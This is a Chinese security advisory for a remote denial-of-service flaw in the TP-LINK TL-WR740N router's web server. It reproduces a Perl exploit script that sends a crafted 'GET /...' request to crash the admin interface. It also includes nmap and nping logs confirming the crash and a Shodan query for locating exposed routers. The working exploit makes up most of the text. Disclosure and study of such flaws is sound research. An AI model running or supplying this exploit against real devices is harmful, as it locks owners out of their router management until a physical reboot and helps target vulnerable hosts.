发布日期：2013-03-21
更新日期：2013-03-22
受影响系统：
TP-LINK TL-WR740N v4.23
描述：
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BUGTRAQ ID: 58623
TL-WR740N是150Mbps的无线路由器。
TL-WR740N 3.16.4 Build 130205 Rel.63875n路由器在实现上存在远程拒绝服务漏洞。如果Web服务器(httpd)不在默认的TCP端口80上处理HTTP GET请求，攻击者发送一系列的三个点(...)到路由器，会致使httpd崩溃，用户将无法访问管理控制面板的管理界面。重启路由器后可以正常工作。
<*来源：Gjoko Krstic （liquidworm@gmail.com）
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/local/bin/perl
#
#
# TP-Link TL-WR740N Wireless Router Remote Denial Of Service Exploit
#
#
# Vendor: TP-LINK Technologies Co., Ltd.
# Product web page:
#
# Affected version:
#
# - Firmware version: 3.16.4 Build 130205 Rel.63875n (Released:
2/5/2013)
# - Hardware version: WR740N v4 00000000 (v4.23)
# - Model No. TL-WR740N / TL-WR740ND
#
# Summary: The TL-WR740N is a combined wired/wireless network connection
# device integrated with internet-sharing router and 4-port switch. The
# wireless N Router is 802.11b&g compatible based on 802.11n technology
# and gives you 802.11n performance up to 150Mbps at an even more
affordable
# price. Bordering on 11n and surpassing 11g speed enables high
bandwidth
# consuming applications like video streaming to be more fluid.
#
# Desc: The TP-Link WR740N Wireless N Router network device is exposed
to a
# remote denial of service vulnerability when processing a HTTP request.
This
# issue occurs when the web server (httpd) fails to handle a HTTP GET
request
# over a given default TCP port 80. Sending a sequence of three dots
(...) to
# the router will crash its httpd service denying the legitimate users
access
# to the admin control panel management interface. To bring back the
http srv
# and the admin UI, a user must physically reboot the router.
#
#
# ============================== Playground:
==============================
#
# Shodan: WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router
WR740N"
#
# # nmap -sV 192.168.0.1
#
# Starting Nmap 6.01 ( ) at 2013-03-19 04:53 Central
European Standard Time
# Nmap scan report for 192.168.0.1
# Host is up (0.00s latency).
# Not shown: 999 closed ports
# PORT STATE SERVICE VERSION
# 80/tcp open http TP-LINK WR740N WAP http config
# MAC Address: AA:BB:CC:DD:EE:FF (Tp-link Technologies CO.)
# Service Info: Device: WAP
#
# Service detection performed. Please report any incorrect results at
.
# Nmap done: 1 IP address (1 host up) scanned in 12.42 seconds
#
#
--------------------------------------------------------------------------
# Changed Probe Directive in nmap-service-probes file [4 d range]:
# - Line: 4682: Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|
# + Line: 4682: Probe TCP GetRequest q|GET /... HTTP/1.0\r\n\r\n|
#
--------------------------------------------------------------------------
#
# # nping -c1 --tcp -p80 192.168.0.1 --data
"474554202f2e2e2e20485454502f312e310d0a0d0a"
#
# Starting Nping 0.6.01 ( ) at 2013-03-19 04:55
Central European Standard Time
# SENT (0.0920s) TCP 192.168.0.101:19835 > 192.168.0.1:80 S ttl=64
id=21796 iplen=61 seq=1961954057 win=1480
# RCVD (0.1220s) TCP 192.168.0.1:80 > 192.168.0.101:19835 RA ttl=64 id=0
iplen=40 seq=0 win=0
#
# Max rtt: 0.000ms | Min rtt: 0.000ms | Avg rtt: 0.000ms
# Raw packets sent: 1 (75B) | Rcvd: 1 (46B) | Lost: 0 (0.00%)
# Tx time: 0.04000s | Tx bytes/s: 1875.00 | Tx pkts/s: 25.00
# Rx time: 1.04000s | Rx bytes/s: 44.23 | Rx pkts/s: 0.96
# Nping done: 1 IP address pinged in 1.12 seconds
#
#
--------------------------------------------------------------------------
#
# # nmap -Pn 192.168.0.1 -p80
#
# Starting Nmap 6.01 ( ) at 2013-03-19 04:57 Central
European Standard Time
# Nmap scan report for 192.168.0.1
# Host is up (0.00s latency).
# PORT STATE SERVICE
# 80/tcp closed http
# MAC Address: AA:BB:CC:DD:EE:FF (Tp-link Technologies CO.)
#
# Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
#
# ============================= !Playground
===============================
#
#
# Tested on: Router Webserver
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Copyleft (c) 2013, Zero Science Lab
# Macedonian Information Security Research And Development Laboratory
#
#
#
# Advisory ID: ZSL-2013-5135
# Advisory URL:
#
#
# 17.03.2013
#
use IO::Socket;
$ip="$ARGV[0]"; $port="$ARGV[1]";
print "\n\n\x20"."\x1f"x42 ."\n";
print "\x20\x1f"."\x20"x40 ."\x1f\n";
print "\x20\x1f TP-Link TL-WR740N httpd DoS Exploit \x1f\n";
print "\x20\x1f"."\x20"x40 ."\x1f\n";
print "\x20\x1f"."\x20"x7 ."\x16"x5 ."\x20"x15 ."\x16"x5 ."\x20"x8
."\x1f\n";
print "\x20\x1f"."\x20"x9 ."\x16"."\x20"x19 ."\x16"."\x20"x10 ."\x1f\n";
print "\x20" ."\x1f"x42 ."\n";
print "\x20\x4" ."\x20"x40 ."\x4\n";
print "\x20" ."\x1e" x 42 ."\n";
if($#ARGV<1)
{
print "\n\n\x20\x20\x1a\x20Usage: $0 <ip> <port>\n\n";
exit();
}
$socket=IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $ip,
PeerPort => $port
);
$ta4ke="\x47\x45\x54\x20".
"\x2f\x2e\x2e\x2e".
"\x20\x48\x54\x54".
"\x50\x2f\x31\x2e".
"\x31\x0d\x0a\x0d".
"\x0a";
print "\n\x20\x1a\x20Sending evil payload...\n"; sleep 2;
print $socket "$ta4ke"; sleep 5; close $socket;
print "\x20\x1a\x20HTTPd successfully poked.\n"; sleep 2;
print "\x20\x1a\x20Verifying with Nmap...\n"; sleep 2;
system("nmap -Pn $ip -p $port");
print "\n\x20\x1a\x20Playing goa-psy...\n"; sleep 2;
system("start C:\\Progra~1\\Winamp\\winamp.exe
");
sleep 1; print "\x20\x1a\x20All Done!\n"; sleep 1;
# Codename: Threetwoees